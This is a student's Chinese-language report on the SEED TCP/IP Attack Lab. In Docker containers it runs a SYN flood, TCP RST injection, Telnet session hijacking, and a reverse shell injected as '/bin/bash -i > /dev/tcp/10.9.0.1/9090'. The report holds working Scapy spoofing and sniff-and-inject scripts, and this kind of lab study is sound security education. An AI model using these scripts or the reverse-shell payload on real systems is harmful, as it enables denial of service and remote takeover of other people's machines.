

TCP/IP Attack Lab

57118212 晏宇珂

Task 1: SYN Flooding Attack

进行攻击前，在受害者 docker1(10.9.0.5) 中使用 `netstat -na` 查看当前的套接字队列，除了telnet的守护进程在监听23端口以外，没有任何套接字。此时通过 docker2(10.9.0.6) 可以正常地对

docker1 发起 telnet 连接：

```
root@c636ac8682a6:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
ebbf24eb7272 login: seed
Password:
```

接下来尝试攻击。

首先，在 docker1 中关闭 SYN Cookie 的防御：

```
1 | sysctl -w net.ipv4.tcp_syncookies=0
```

然后消除内核的缓解措施，去除已知目的地：

```
1 | ip tcp_metrics show
2 | ip tcp_metrics flush
```

```
root@ebbf24eb7272:/# ip tcp_metrics show
10.9.0.6 age 33.756sec cwnd 10 rtt 139us rttvar 145us source 10.9.0.5
root@ebbf24eb7272:/# ip tcp_metrics flush
root@ebbf24eb7272:/# ip tcp metrics show
```

尝试攻击，在攻击者 docker3(10.9.0.1) 中编译 synflood.c 并运行：

```
1 | gcc -o synflood synflood.c
2 | synflood 10.9.0.5 23
```

接着在 docker1 中使用 `netstat -na` 查看：

```

root@ebbf24eb7272:/# netstat -na
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:44991        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 10.9.0.5:23             243.182.134.83:20286    SYN_RECV
tcp        0      0 10.9.0.5:23             199.168.216.91:65314    SYN_RECV
tcp        0      0 10.9.0.5:23             77.1.130.3:31997       SYN_RECV
tcp        0      0 10.9.0.5:23             78.145.237.77:40068     SYN_RECV
tcp        0      0 10.9.0.5:23             122.145.14.101:37986    SYN_RECV
tcp        0      0 10.9.0.5:23             20.255.233.5:60703     SYN_RECV
tcp        0      0 10.9.0.5:23             246.114.145.73:18213    SYN_RECV
tcp        0      0 10.9.0.5:23             108.37.69.95:55760     SYN_RECV
tcp        0      0 10.9.0.5:23             221.39.210.118:64242   SYN_RECV
tcp        0      0 10.9.0.5:23             158.241.226.48:6491    SYN_RECV
tcp        0      0 10.9.0.5:23             56.173.179.20:23914    SYN_RECV
tcp        0      0 10.9.0.5:23             58.102.230.52:22288    SYN_RECV
tcp        0      0 10.9.0.5:23             242.131.210.14:38500   SYN_RECV
tcp        0      0 10.9.0.5:23             0.240.2.33:46306       SYN_RECV
tcp        0      0 10.9.0.5:23             143.84.230.30:54386    SYN_RECV
tcp        0      0 10.9.0.5:23             206.144.227.23:27745   SYN_RECV
tcp        0      0 10.9.0.5:23             185.106.90.78:52796    SYN_RECV
tcp        0      0 10.9.0.5:23             101.193.126.122:29501  SYN_RECV
tcp        0      0 10.9.0.5:23             55.193.54.39:30477     SYN_RECV
tcp        0      0 10.9.0.5:23             242.160.33.22:59309    SYN_RECV
tcp        0      0 10.9.0.5:23             168.110.121.81:46335   SYN_RECV
tcp        0      0 10.9.0.5:23             139.204.37.126:18715   SYN_RECV
tcp        0      0 10.9.0.5:23             91.220.53.53:48837     SYN_RECV
tcp        0      0 10.9.0.5:23             25.239.172.3:57688     SYN_RECV
tcp        0      0 10.9.0.5:23             137.201.222.2:61515    SYN_RECV
tcp        0      0 10.9.0.5:23             46.223.132.10:49274    SYN_RECV
tcp        0      0 10.9.0.5:23             101.209.197.52:45527   SYN_RECV
tcp        0      0 10.9.0.5:23             54.253.156.50:57773    SYN_RECV
tcp        0      0 10.9.0.5:23             24.78.131.22:31890     SYN_RECV

```

出现了许多状态为 `SYN_RECV` 的套接字，也就是仅发出了第一次握手，没有后续握手的 TCP 连接请求。
此时，在 `docker2` 中再次向 `docker1` 发起 `Telnet` 连接请求，发现请求失败：

```

root@c636ac8682a6:/# telnet 10.9.0.5
Trying 10.9.0.5...

```

重新打开 `docker1` 中的 `SYN Cookie` 的防御：

```
1 | sysctl -w net.ipv4.tcp_syncookies=1
```

我直接改了 `docker-compose.yml`：

```
Open  docker-compose.yml  Save  -  +  x
~/Desktop/Labs_20.04/Network Security/TCP Attacks Lab/Labsetup
aut.py  docker-compose.yml
1 version: "3"
2
3 services:
4   attacker:
5     image: handsonsecurity/seed-ubuntu:large
6     container_name: seed-attacker
7     tty: true
8     cap_add:
9       - ALL
10    privileged: true
11    volumes:
12      - ./volumes:/volumes
13    network_mode: host
14
15
16   Victim:
17     image: handsonsecurity/seed-ubuntu:large
18     container_name: victim-10.9.0.5
19     tty: true
20     cap_add:
21       - ALL
22     sysctls:
23       - net.ipv4.tcp_syncookies=1
24
25   networks:
26     net-10.9.0.0:
27       ipv4_address: 10.9.0.5
28
29   command: bash -c "
30     /etc/init.d/openbsd-inetd start &&
```

然后再重新发起一次SYN泛洪攻击，docker2 再向 docker1 发起 Telnet 连接，发现连接成功：

```
root@c636ac8682a6:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
ebbf24eb7272 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Jul  8 21:39:31 UTC 2021 from user1-10.9.0.6.net-10.9.0.0 on pts/2
seed@ebbf24eb7272:~$
```

此时，在 docker1 里再次使用 netstat -na 查看套接字队列：

```

root@ebbf24eb7272:/home/seed# netstat -na
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:44991        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 10.9.0.5:23              116.33.102.68:11052     SYN_RECV
tcp        0      0 10.9.0.5:23              214.108.4.118:25565     SYN_RECV
tcp        0      0 10.9.0.5:23              50.45.18.122:61480      SYN_RECV
tcp        0      0 10.9.0.5:23              75.183.185.111:3046     SYN_RECV
tcp        0      0 10.9.0.5:23              194.144.240.80:55630    SYN_RECV
tcp        0      0 10.9.0.5:23              23.77.21.43:23942       SYN_RECV
tcp        0      0 10.9.0.5:23              122.253.91.72:35770     SYN_RECV
tcp        0      0 10.9.0.5:23              167.72.181.115:52977    SYN_RECV
tcp        0      0 10.9.0.5:23              184.148.190.47:16677    SYN_RECV
tcp        0      0 10.9.0.5:23              165.85.49.126:18109     SYN_RECV
tcp        0      0 10.9.0.5:23              99.193.148.7:42805      SYN_RECV
tcp        0      0 10.9.0.5:23              140.30.198.96:56540     SYN_RECV
tcp        0      0 10.9.0.5:23              34.215.248.70:43466     SYN_RECV
tcp        0      0 10.9.0.5:23              83.14.92.125:22028      SYN_RECV
tcp        0      0 10.9.0.5:23              254.2.210.61:25479      SYN_RECV
tcp        0      0 10.9.0.5:23              90.155.205.116:54129    SYN_RECV
tcp        0      0 10.9.0.5:23              36.124.126.77:13633     SYN_RECV
tcp        0      0 10.9.0.5:23              255.18.51.56:37023      SYN_RECV
tcp        0      0 10.9.0.5:23              154.60.193.76:54102     SYN_RECV
tcp        0      32 10.9.0.5:23              10.9.0.6:56530          ESTABLISHED
tcp        0      0 10.9.0.5:23              74.42.141.13:3221       SYN_RECV
tcp        0      0 10.9.0.5:23              2.232.236.86:33048      SYN_RECV
tcp        0      0 10.9.0.5:23              128.218.129.105:46462   SYN_RECV
tcp        0      0 10.9.0.5:23              165.87.241.65:14209     SYN_RECV
tcp        0      0 10.9.0.5:23              150.82.194.45:27905     SYN_RECV
tcp        0      0 10.9.0.5:23              197.253.250.46:56931    SYN_RECV
tcp        0      0 10.9.0.5:23              194.0.231.94:6583       SYN_RECV

```

发现依然有大量的 `SYN_RECV` 状态的套接字，但是从 `docker2` 发起的连接却顺利建立了(状态为 `ESTABLISHED`)。

`SYN Cookie` 的主要原理是，当服务器收到第一次握手的 `SYN` 信息时，将部分信息利用自己的密钥进行哈希，并返回给客户端。当再次收到客户端的信息时，利用自己的密钥校验哈希值的准确性，即可判断这个客户端是之前发来第一次握手的客户端。通过这种方法，服务器就不会在 `SYN` 等待队列满了之后拒绝服务，而是通过 `Cookie` 达到继续工作的效果。

Task 2: TCP RST Attacks on telnet Connections

本实验的设计为，`docker2` 与 `docker1` 建立 `telnet` 或 `ssh` 连接，`docker3` 通过 `Wireshark` 查看其中的 `seq` 和 `ack` 的值(实现了一个自动构造 `seq` 和 `ack` 值的方法)，然后构造 `RST` 报文终止连接。

首先是 `docker2` 与 `docker1` 建立 `telnet` 连接，然后通过 `Wireshark` 查看：

115	2021-07-08 18:00:10.9.0.5	10.9.0.6	TELNET	413 [TCP Fast Retransmission] Telnet Data ...
116	2021-07-08 18:00:10.9.0.5	10.9.0.6	TELNET	413 [TCP Fast Retransmission] Telnet Data ...
117	2021-07-08 18:00:10.9.0.6	10.9.0.5	TCP	68 56532 → 23 [ACK] Seq=1053592112 Ack=1759464358 Win=501 Len=0 T...
118	2021-07-08 18:00:10.9.0.6	10.9.0.5	TCP	68 [TCP Dup ACK 117#1] 56532 → 23 [ACK] Seq=1053592112 Ack=17594...
119	2021-07-08 18:00:10.9.0.6	10.9.0.5	TCP	68 [TCP Dup ACK 117#2] 56532 → 23 [ACK] Seq=1053592112 Ack=17594...
120	2021-07-08 18:00:10.9.0.5	10.9.0.6	TELNET	152 Telnet Data ...
121	2021-07-08 18:00:10.9.0.5	10.9.0.6	TELNET	152 [TCP Fast Retransmission] Telnet Data ...
122	2021-07-08 18:00:10.9.0.5	10.9.0.6	TELNET	152 [TCP Fast Retransmission] Telnet Data ...
123	2021-07-08 18:00:10.9.0.6	10.9.0.5	TCP	68 56532 → 23 [ACK] Seq=1053592112 Ack=175946442 Win=501 Len=0 T...
124	2021-07-08 18:00:10.9.0.6	10.9.0.5	TCP	68 [TCP Dup ACK 123#1] 56532 → 23 [ACK] Seq=1053592112 Ack=17594...
125	2021-07-08 18:00:10.9.0.6	10.9.0.5	TCP	68 [TCP Dup ACK 123#2] 56532 → 23 [ACK] Seq=1053592112 Ack=17594...
126	2021-07-08 18:00:10.9.0.5	10.9.0.6	TELNET	89 Telnet Data ...
127	2021-07-08 18:00:10.9.0.5	10.9.0.6	TELNET	89 [TCP Fast Retransmission] Telnet Data ...
128	2021-07-08 18:00:10.9.0.5	10.9.0.6	TELNET	89 [TCP Fast Retransmission] Telnet Data ...
129	2021-07-08 18:00:10.9.0.6	10.9.0.5	TCP	68 56532 → 23 [ACK] Seq=1053592112 Ack=175946463 Win=501 Len=0 T...
130	2021-07-08 18:00:10.9.0.6	10.9.0.5	TCP	68 [TCP Dup ACK 129#1] 56532 → 23 [ACK] Seq=1053592112 Ack=17594...
131	2021-07-08 18:00:10.9.0.6	10.9.0.5	TCP	68 [TCP Dup ACK 129#2] 56532 → 23 [ACK] Seq=1053592112 Ack=17594...
132	2021-07-08 18:00:10.9.0.6	10.9.0.5	TCP	68 [TCP Dup ACK 129#3] 56532 → 23 [ACK] Seq=1053592112 Ack=17594...
Frame 131: 68 bytes on wire (544 bits), 68 bytes captured (544 bits) on interface any, id 0 Linux cooked capture Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5 Transmission Control Protocol, Src Port: 56532, Dst Port: 23, Seq: 1053592112, Ack: 175946463, Len: 0				

可以看到 `docker2` 的地址为 `10.9.0.6`，端口为 `56532`，`docker1` 的地址为 `10.9.0.5`，端口为 `23`，最后一次通信后，`seq=1053592112`，`ack=175946463`，因此构造的脚本为：

```

1 from scapy.all import *
2 ip=IP(src="10.9.0.6", dst="10.9.0.5")
3 tcp=TCP(sport=56532,dport=23,flags="RA",seq=1053592112,ack=175946463)
4 pkt=ip/tcp
5 ls(pkt)
6 send(pkt,verbose=0)

```

在 docker3 中运行:

```

root@VM:/volumes# python3 ssl.py
version      : BitField  (4 bits)          = 4              (4)
ihl          : BitField  (4 bits)          = None           (None)
tos          : XByteField              = 0              (0)
len          : ShortField              = None           (None)
id           : ShortField              = 1              (1)
flags        : FlagsField  (3 bits)        = <Flag 0 ()>    (<Flag 0 ()>)
frag         : BitField  (13 bits)         = 0              (0)
ttl          : ByteField               = 64             (64)
proto        : ByteEnumField            = 6              (0)
chksum       : XShortField              = None           (None)
src          : SourceIPField            = '10.9.0.6'     (None)
dst          : DestIPField              = '10.9.0.5'     (None)
options      : PacketListField          = []             ([])
--
sport        : ShortEnumField            = 56532          (20)
dport        : ShortEnumField            = 23             (80)
seq          : IntField                 = 1053592112     (0)
ack          : IntField                 = 175946463      (0)
dataofs      : BitField  (4 bits)         = None           (None)
reserved     : BitField  (3 bits)         = 0              (0)
flags        : FlagsField  (9 bits)       = <Flag 20 (RA)>  (<Flag 2 (S)>)
window       : ShortField              = 8192            (8192)
chksum       : XShortField              = None           (None)
urgptr       : ShortField              = 0              (0)
options      : TCPOptionsField          = []             (b'')

```

docker2 的连接中断:

```

To restore this content, you can run the 'unminimize' command.
Last login: Thu Jul  8 21:41:44 UTC 2021 from user1-10.9.0.6-net-10.9.0.0 on pts/2
seed@ebbf24eb7272:~$ Connection closed by foreign host.
root@c636ac8682a6:/# █

```

- automatically

代码如下:

```

1 from scapy.all import *
2
3 pkts = []
4 def dd(pkt):
5     pkts.append(pkt)
6
7 def spoof_pkt(pkt):
8     ip=IP(src="10.9.0.6", dst="10.9.0.5")
9
10    tcp=TCP(sport=pkt[TCP].sport,dport=23,flags="RA",seq=pkt[TCP].seq,ack=pkt[TCP].ack)
11    pkt=ip/tcp
12    ls(pkt)
13    send(pkt,verbose=0)
14
15 pkt = sniff(filter='tcp and src host 10.9.0.6 and dst host 10.9.0.5 and dst port 23',prn=dd)

```

建立好 Telnet 连接后 Ctrl+c 后会自动构造 seq 和 ack，可以达到一样的结果。

Task 3: TCP Session Hijacking

本实验的设计为，docker2 与 docker1 建立 telnet 连接，docker1 通过 Wireshark 查看其中的 seq 和 ack 的值，然后构造劫持报文，让容器 B 创建一个 yyk 文件。

首先是 docker2 与 docker1 建立 telnet 连接。然后通过 Wireshark 查看结果：

107	2021-07-08 18:21	10.9.0.6	10.9.0.5	TCP	68 [TCP Dup ACK 106#1] 56536 → 23 [ACK] Seq=3190763167 Ack=1784512897
108	2021-07-08 18:21	10.9.0.6	10.9.0.5	TCP	68 [TCP Dup ACK 106#2] 56536 → 23 [ACK] Seq=3190763167 Ack=1784512897
109	2021-07-08 18:21	10.9.0.5	10.9.0.6	TELNET	89 Telnet Data ...
110	2021-07-08 18:21	10.9.0.5	10.9.0.6	TELNET	89 [TCP Fast Retransmission] Telnet Data ...
111	2021-07-08 18:21	10.9.0.5	10.9.0.6	TELNET	89 [TCP Fast Retransmission] Telnet Data ...
112	2021-07-08 18:21	10.9.0.6	10.9.0.5	TCP	68 56536 → 23 [ACK] Seq=3190763167 Ack=1784512897 Win=501 Len=0 ...
113	2021-07-08 18:21	10.9.0.6	10.9.0.5	TCP	68 [TCP Dup ACK 112#1] 56536 → 23 [ACK] Seq=3190763167 Ack=1784512897
114	2021-07-08 18:21	10.9.0.6	10.9.0.5	TCP	68 [TCP Dup ACK 112#2] 56536 → 23 [ACK] Seq=3190763167 Ack=1784512897

▶ Frame 114: 68 bytes on wire (544 bits), 68 bytes captured (544 bits) on interface any, id 0
 ▶ Linux cooked capture
 ▶ Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5
 ▶ Transmission Control Protocol, Src Port: 56536, Dst Port: 23, Seq: 3190763167, Ack: 1784512897, Len: 0

可以看到 docker2 的端口为 56536。最后一次通信后，docker1 的下一个 seq=1784512897，docker2 的下一个 seq=3190763167。

因此，构造的脚本为：

```
1 from scapy.all import *
2 ip=IP(src="10.9.0.6", dst="10.9.0.5")
3 tcp=TCP(sport=56536,dport=23,flags="A",seq=3190763167,ack=1784512897)
4 data="mkdir yyk\r"
5 pkt=ip/tcp/data
6 ls(pkt)
7 send(pkt,verbose=0)
```

在 docker3 上运行：

```
root@VM:/volumes# python3 ss.py
version      : BitField  (4 bits)          = 4          (4)
ihl          : BitField  (4 bits)          = None       (None)
tos          : XByteField          = 0          (0)
len          : ShortField          = None       (None)
id           : ShortField          = 1          (1)
flags        : FlagsField  (3 bits)       = <Flag 0 (>) (<Flag 0 (>))
frag         : BitField  (13 bits)       = 0          (0)
ttl          : ByteField           = 64         (64)
proto        : ByteEnumField        = 6          (0)
chksum       : XShortField          = None       (None)
src          : SourceIPField        = '10.9.0.6' (None)
dst          : DestIPField          = '10.9.0.5' (None)
options      : PacketListField       = []         ([])
--
sport        : ShortEnumField        = 56536      (20)
dport        : ShortEnumField        = 23         (80)
seq          : IntField              = 3190763167 (0)
ack          : IntField              = 1784512897 (0)
dataofs      : BitField  (4 bits)       = None       (None)
reserved     : BitField  (3 bits)       = 0          (0)
flags        : FlagsField  (9 bits)     = <Flag 16 (A)> (<Flag 2 (S)>)
window       : ShortField            = 8192       (8192)
chksum       : XShortField          = None       (None)
urgptr       : ShortField            = 0          (0)
options      : TCPOptionsField       = []         (b'')
--
load         : StrField              = b'mkdir yyk\r' (b'')
```


在 docker1 的 /home/seed 目录下看到有 yyk 文件夹：

```
root@ebbf24eb7272:/home/seed# ls
root@ebbf24eb7272:/home/seed# ls
yyk
```

- automatically

代码如下：

```
1 from scapy.all import *
2
3 pkts = []
4 def dd(pkt):
5     pkts.append(pkt)
6
7 def spoof_pkt(pkt):
8     ip = IP(src="10.9.0.6", dst="10.9.0.5")
9     tcp =
TCP(sport=pkt[TCP].sport, dport=23, flags="A", seq=pkt[TCP].seq, ack=pkt[TCP].ack)
10     data = "mkdir yyk\r"
11     newpkt = ip/tcp/data
12     ls(newpkt)
13     send(newpkt, verbose=0)
14
15 pkt = sniff(filter='tcp and src host 10.9.0.6 and dst host 10.9.0.5 and dst
port 23', prn=dd)
16 spoof_pkt(pkts[-1])
```

建立好 Telnet 连接后 Ctrl+c 后会自动构造 seq 和 ack，可以达到一样的结果。

Task 4: Creating Reverse Shell using TCP Session Hijacking

和3原理差不多，懒得看 wireshark 了，直接改了一下自动生成 seq 和 ask 的代码：

```
1 from scapy.all import *
2
3 pkts = []
4 def dd(pkt):
5     pkts.append(pkt)
6
7 def spoof_pkt(pkt):
8     ip = IP(src="10.9.0.6", dst="10.9.0.5")
9     tcp =
TCP(sport=pkt[TCP].sport, dport=23, flags="A", seq=pkt[TCP].seq, ack=pkt[TCP].ack)
10     data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\r"
11     newpkt = ip/tcp/data
12     ls(newpkt)
13     send(newpkt, verbose=0)
14
15 pkt = sniff(filter='tcp and src host 10.9.0.6 and dst host 10.9.0.5 and dst
port 23', prn=dd)
```

```
root@VM:/volumes# nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 52898
seed@ebbf24eb7272:~$ █
```

拿到 `docker1(10.9.0.5)` 的 `bash shell`.